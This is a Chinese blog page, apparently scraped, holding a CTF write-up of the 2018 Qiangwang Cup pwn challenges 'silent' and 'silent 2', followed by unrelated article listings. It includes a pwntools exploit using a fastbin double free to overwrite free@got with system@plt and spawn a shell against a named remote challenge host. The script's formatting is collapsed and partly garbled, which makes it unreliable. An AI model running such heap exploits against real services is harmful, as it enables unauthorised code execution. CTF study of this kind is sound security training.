news 2026/5/1 6:12:29

2018年强网杯pwn题复现

作者头像

张小明

前端开发工程师

1.2k 24
文章封面图
2018年强网杯pwn题复现

silent

漏洞位置:free后没有给指针置空,edit也没有检查chunk是否free

利用思路:利用uaf把chunk进入fastbin中,构造三个单链表来写free@got然后getshell
程序没有输出,这是一个难点,所以直接写
查表

objdump-d-j.plt silent//查pltobjdump-R silent//查got

在free@got上构造fake_chunk

frompwnimport*local=1iflocal:p=process('./silent')libc=ELF('./libc-2.23.so')else:p=remote('39.107.32.132',10000)#nc 39.107.32.132 10000libc=ELF('./libc-2.23.so')defalloc(size,content):p.sendline('1')p.sendline(str(size))p.sendline(str(content))defdelete(idx):p.sendline('2')p.sendline(str(idx))defedit(idx,content):p.sendline('3')p.sendline(str(idx))p.sendline(content)p.sendline('')elf=ELF('./silent')fake_chunk=0x601ffasystem_plt=0x400730alloc(0x50,aaaa)#0alloc(0x50,bbbb)#1alloc(0x50,cccc)#2delete(0)delete(1)delete(0)#fastbin->chunk0->chunk1->chunk0alloc(0x50,p64(fake_chunk))#fastbin->chunk1->chunk0->fake_chunkalloc(0x50,'bin/sh\x00')#fastbin->chunk0->fake_chunkalloc(0x50,aaaa)alloc(0x50,'a'*0xe+p64(system_plt))delete(1)p.interactive()

silent 2

漏洞位置:free后没有给指针置空,edit也没有检查chunk是否free

利用思路:不能像上一题一样用fastbin了,大体思路是,因为是partial relro,利用unlink修改malloc返回的数组指针为free_got,这样修改改数组时就是修改free_got

版权声明: 本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若内容造成侵权/违法违规/事实不符,请联系邮箱:809451989@qq.com进行投诉反馈,一经查实,立即删除!
网站建设 2026/5/1 6:11:05

[强网杯2023] 只作了几个小题

感觉现在比赛越来越难了,只作了几个小题,赛后把看到的wp复现到的也一并记录一下。 misc/fuzz 这就是个猜数的题,哪个数字对了就在哪一位上显示1一共9位,不过服务器返回的前两个并不一定正确,多试几把。Enter a string …

作者头像 李华
网站建设 2026/4/18 20:30:02

第七届强网杯-PWN-【WTOA】

文章目录参考WebAssemblyWasmtime调试逆向源码exp参考 WebAssembly实践指南——C和Rust通过wasmtime实现相互调用实例 WebAssembly WebAssembly是一种可移植的二进制指令集格式,其本身与平台无关,类似于Java的class文件字节码。 WebAssembly本来的设…

作者头像 李华
网站建设 2026/4/8 16:55:23

GLM-TTS能否用于月球基地构想?低重力语音振动特性模拟

GLM-TTS能否用于月球基地构想?低重力语音振动特性模拟 在未来的深空探索中,人类正逐步迈向长期驻留型月球基地的建设。这种封闭、高风险、资源受限的环境对人机交互系统提出了前所未有的要求——不仅要高效可靠,更要具备足够的自然性与情境感…

作者头像 李华
网站建设 2026/4/19 22:45:06

淘宝返利app多数据源设计:基于MyCat的分库分表与读写分离

淘宝返利app多数据源设计:基于MyCat的分库分表与读写分离 大家好,我是省赚客APP研发者阿宝! 在省赚客这类高并发返利应用中,用户订单、佣金记录、推广关系等核心数据量增长迅猛。单库单表在日均百万级订单下已出现性能瓶颈。为保障…

作者头像 李华
网站建设 2026/4/27 11:26:28

Rust 闭包 敲黑板

在 Rust 编程中,闭包(Closure)是一种极具灵活性的可调用对象,它不仅具备普通函数的参数传递和返回值能力,还能自动捕获其定义环境中的变量,无需显式声明依赖。闭包的简洁语法和强大的环境捕获能力&#xff…

作者头像 李华
网站建设 2026/4/25 22:02:09

如何通过Markdown编写GLM-TTS任务脚本提升工作效率

如何通过Markdown编写GLM-TTS任务脚本提升工作效率 在一场广播剧的后期制作中,团队需要为15个角色生成超过200句台词,每句都要匹配特定音色、口音和情绪。传统做法是配音导演逐条试听、调整参数、手动点击合成——一个下午只能完成不到20条。而隔壁组用了…

作者头像 李华